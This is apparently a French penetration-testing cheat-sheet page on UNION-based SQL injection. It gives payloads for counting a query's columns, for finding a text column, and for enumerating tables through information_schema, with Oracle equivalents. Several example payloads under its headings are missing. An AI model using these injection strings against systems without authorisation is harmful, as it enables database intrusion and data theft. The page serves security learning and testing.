👫UNION based

Déterminer le nombre de colonnes

Avec ORDER BY

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
etc.

Avec UNION SELECT

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.

Trouver une colonne contenant du texte

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.

Une fois le nombre de colonne trouvé,

' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

Selectionner des colonnes dans une table

Afficher plusieurs colonnes d'une table sur une seule ligne

Recupérer la liste des tables dans la BDD

Exemple:

Récupérer le nom des colonnes dans une table

En suivant l'exemple précédent:

Pour Oracle, remplacer 'information_schema.tables' par 'all_tables' et 'information_schema.columns' par 'all_tab_columns'.

PHP RCE

Mis à jour

Ce contenu vous a-t-il été utile ?